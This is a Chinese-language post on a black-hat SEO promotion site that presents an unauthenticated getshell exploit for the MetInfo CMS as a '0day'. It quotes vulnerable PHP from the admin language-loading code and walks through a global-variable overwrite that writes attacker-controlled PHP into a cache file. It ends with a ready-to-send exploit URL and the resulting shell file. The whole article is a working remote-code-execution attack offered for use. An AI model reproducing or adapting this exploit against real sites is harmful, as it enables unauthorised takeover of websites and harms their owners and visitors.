黑帽SEO
免费发布泛目录 蜘蛛池 黑帽SEO工具

MetInfo前台Getshell,附上0day

  MetInfo 无需登录前台GETSHELL 看着metinfo 注入都两个$$ @疯狗 @Finger来一道闪电吧

  metinfo整体做的还算不错,但是一个小疏忽,越权导致大漏洞

  代码如下:

  admin/include/common.inc.php 由于之前在最外围进行了一次参数解析,所以这里可以通过全量覆盖过来

  先不说这里,一会儿用得上,我们看一下

  admin/include/lang.php:

  if($_GET[langset]!=”” and $met_admin_type_ok==1){ $languser = $_GET[langset]; } $langset=($languser!=””)?$languser:$met_admin_type; if(!file_get_contents(ROOTPATH.’cache/langadmin_’.$langset.’.php’)){ $js=”var user_msg = new Array();

  ”; $query=”select * from $met_language where lang=’$langset’ and site=’1′ and array!=’0′”; $result= $db->query($query); if($db->affected_rows()==0){ require_once ROOTPATH_ADMIN.’system/lang/lang.func.php’; $post=array(‘newlangmark’=>$langset,’metcms_v’=>$metcms_v,’newlangtype’=>’admin’); $file_basicname=ROOTPATH_ADMIN.’update/lang/lang_’.$langset.’.ini’; $re=syn_lang($post,$file_basicname,$langset,1,0); $query=”select * from $met_language where lang=’$langset’ and site=’1′ and array!=’0′”; $result= $db->query($query); } while($listlang= $db->fetch_array($result)){ if(substr($listlang[‘name’],0,2)==’js’){ $tmp=trim($listlang[‘value’]); $js=$js.”user_msg[‘{$listlang[‘name’]}’]=’$tmp’;

  ”; } $name = ‘lang_’.$listlang[‘name’]; $$name= trim($listlang[‘value’]); $str.=’$’.”{$name}='”.str_replace(array(‘\\’,”‘”),array(“\\\”,”\\'”),trim($listlang[‘value’])).”‘;”; } //echo $str; $js1=’$’.”js='”.str_replace(“‘”,”\\'”,$js).’\’;’; $str=”

  ”.$str.$js1.”

  ?>”; file_put_contents(ROOTPATH.’cache/langadmin_’.$langset.’.php’,$str); }else{ require_once ROOTPATH.’cache/langadmin_’.$langset.’.php’; }

  第一步:

  if($_GET[langset]!=”” and $met_admin_type_ok==1){

  $languser=$_GET[langset];

  }

  这里我们全量覆盖met_admin_type_ok=1 就可以直接赋值无过滤赋值$languser

  怎么能让这一句成立

  !file_get_contents(ROOTPATH.’cache/langadmin_’.$langset.’.php’)

  第一我们得定义ROOTPATH

  第二我们知道,php一个全版本的小bug

  file_put_contents(“d:/a.php//a.php”)这种是不会报错的

  但是对于langset 他有限制条件,我们怎么逾越这个条件

  此时猜想,若果有一个地方也越权,并且include了lang.php

  common.inc.php:

  if(!is_array($met_langadmin[$_GET[langset]])&&$_GET[langset]!=”)die(‘not have this language’); if($_GET[langset]!=”){ $_GET[langset]=daddslashes($_GET[langset],0,1); change_met_cookie(‘languser’,$_GET[langset]); save_met_cookie(); } $_M[‘user’][‘cookie’] = $met_cookie; $metinfo_admin_name = get_met_cookie(‘metinfo_admin_name’); $metinfo_admin_pass = get_met_cookie(‘metinfo_admin_pass’); $metinfo_admin_pop = get_met_cookie(‘metinfo_admin_pop’); $metinfo_admin_shortcut = get_met_cookie(‘metinfo_admin_shortcut’); $languser = get_met_cookie(‘languser’); $langadminok = get_met_cookie(‘metinfo_admin_lang’); $langusenow=$languser; if($langadminok<>“” and $langadminok<>‘metinfo’)$adminlang=explode(‘-‘,$langadminok); require_once ROOTPATH_ADMIN.’include/lang.php’;

  发现了在此处引入,下来我们看

  if(!is_array($met_langadmin[$_GET[langset]])&&$_GET[langset]!=”)die(‘not have this language’);

  如果met_langadmin参与运算的结果是个数组,这时候langset 就完全可控制

  后面走到了

  lang.php:

  1.!file_get_contents(ROOTPATH.’cache/langadmin_’.$langset.’.php’) 此处要是个空文件

  2.$query=”select * from $met_language where lang=’$langset’ and site=’1′ and array!=’0′”;

  $result=$db->query($query);

  这个查询为空,langset经过构造后 这个肯定是个空

  3.$js1=’$’.”js='”.str_replace(“‘”,”\\'”,$js).’\’;’;

  $str=”

  ”.$str.$js1.”

  ?>”;

  file_put_contents(ROOTPATH.’cache/langadmin_’.$langset.’.php’,$str);

  发现$str 就可以没有任何给它初始化,直接全局覆盖过来即可

  发送url:

  http://localhost/metinfo/admin/include/common.inc.php?met_admin_type_ok=1&langset=123&met_langadmin[123][]=12345&str=phpinfo%28%29%3B%3F%3E%2f%2f

  直接就会在

  cache目录下创建一个文件langadmin_123.php

  内容为:

  

  phpinfo();?>//$js=’var user_msg=new Array();

  ’;

  ?>

  访问以下

  MetInfo前台Getshell,附上0dayQQ截图20190207210353.jpg

未经允许不得转载:黑帽SEO-实战SEO技术培训、泛目录站群、蜘蛛池、流量技术教程 » MetInfo前台Getshell,附上0day
分享到: 更多 (0)

黑帽SEO-实战SEO技术培训、泛目录站群、蜘蛛池、流量技术教程

不做韭菜坚决不做韭菜